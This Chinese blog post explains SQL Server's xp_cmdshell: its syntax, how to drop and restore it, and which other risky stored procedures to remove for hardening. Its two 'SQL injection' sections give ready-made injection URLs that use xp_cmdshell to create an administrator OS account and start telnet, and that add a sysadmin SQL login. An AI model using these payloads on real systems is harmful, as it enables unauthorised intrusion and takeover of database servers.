删除xp_cmdshell和恢复xp_cmdshell


关键词

删除xp_cmdshell和恢复xp_cmdshell

摘要

xp_cmdshell是SQL Server中一个系统自带的存储过程。但是它功能强大,一旦被黑客掌握,破坏性极强!所以作为数据库管理员,一定要重视这个存储过程!本文介绍如何删除xp_cmdshell,并且在删除之后如何恢复xp_cmdshell。本文的最后还简单演示了一下xp_cmdshell在SQL注入中的重要作用!

【使用xp_cmdshell】
语法
xp_cmdshell {'command_string'} [, no_output]
'command_string'
是在操作系统命令行解释器上执行的命令字符串。command_string 的数据类型为 varchar(255) 或 nvarchar(4000),没有默认值。command_string 不能包含一对以上的双引号。如果由 command_string 引用的文件路径或程序名称中有空格,则需要使用一对引号。如果使用嵌入空格不方便,可考虑使用 FAT 8.3 文件名作为解决办法。
no_output
是可选参数,表示执行给定的 command_string,但不向客户端返回任何输出。

xp_cmdshell是SQL Server中一个系统自带的存储过程。但是它功能强大,一旦被黑客掌握,破坏性极强!所以作为数据库管理员,一定要重视这个存储过程!本文介绍如何删除xp_cmdshell,并且在删除之后如何恢复xp_cmdshell。本文的最后还简单演示了一下xp_cmdshell在SQL注入中的重要作用!

【使用xp_cmdshell】
语法
xp_cmdshell {'command_string'} [, no_output]
'command_string'
是在操作系统命令行解释器上执行的命令字符串。command_string 的数据类型为 varchar(255) 或 nvarchar(4000),没有默认值。command_string 不能包含一对以上的双引号。如果由 command_string 引用的文件路径或程序名称中有空格,则需要使用一对引号。如果使用嵌入空格不方便,可考虑使用 FAT 8.3 文件名作为解决办法。
no_output
是可选参数,表示执行给定的 command_string,但不向客户端返回任何输出。

示例:调用命令:exec master..xp_cmdshell 'del E:\H_BACKUP.bak'

【注销xp_cmdshell的方法】
xp_cmdshell,很危险的一个存储过程,能够执行dos命令,可以通过下述SQL语句注销
use master
exec sp_dropextendedproc 'xp_cmdshell'

【恢复xp_cmdshell的方法】
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

【SQL注入方法一】
1 添加用户
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net user awen /add‘;
2 更改密码
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net user awen password‘;
3 提升到管理员权限
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net localgroup administrators awen /add‘;
4 打开telnet服务
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net start tlntsrv‘;
5 依然是采用前面相同的方法登录

【SQL注入方法二】
1 添加用户
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addlogin user;
2 修改密码
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.password null,password,user;
3 提升到管理员权限
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addsrvrolemember user,sysadmin;
用大家经常使用的net命令来对应(本身并没有任何联系,这里拿来对照学习)
sp_addlogin user;相当于 net user user /add
sp_password null,password,user相当于net user user password
sp_addsrvrolemember user,sysadmin相当于net localgroup administrators user /add
4 这样就可以通过查询分析器,上去使用cmdshell

【引申】
以下存储过程也很危险
xp_fileexist,用来确定一个文件是否存在。
xp_getfiledetails,可以获得文件详细资料。
xp_dirtree,可以展开你需要了解的目录,获得所有目录深度。
Xp_getnetname,可以获得服务器名称。

去掉不需要的注册表访问的存储过程,如下:
Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues
Xp_regread Xp_regremovemultistring Xp_regwrite

如果你不需要请丢弃OLE自动存储过程,这些过程包括如下:
Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty Sp_OAStop

 

要饭二维码

洪哥写文章很苦逼,如果本文对您略有帮助,可以扫描下方二维码支持洪哥!金额随意,先行谢过!大家的支持是我前进的动力!

文章的版权

本文属于“洪哥笔记”原创文章,转载请注明来源地址:删除xp_cmdshell和恢复xp_cmdshell:http://www.splaybow.com/post/delete-xpcmdshell-recover.html

如果您在服务器运维、网络管理、网站或系统开发过程有需要提供收费服务,请加QQ:8771947!十年运维经验,帮您省钱、让您放心!
亲,如果有需要,先存起来,方便以后再看啊!加入收藏夹的话,按Ctrl+D

« SQL Server中的UniqueIdentifier SQL Server批量修改表的所有者 »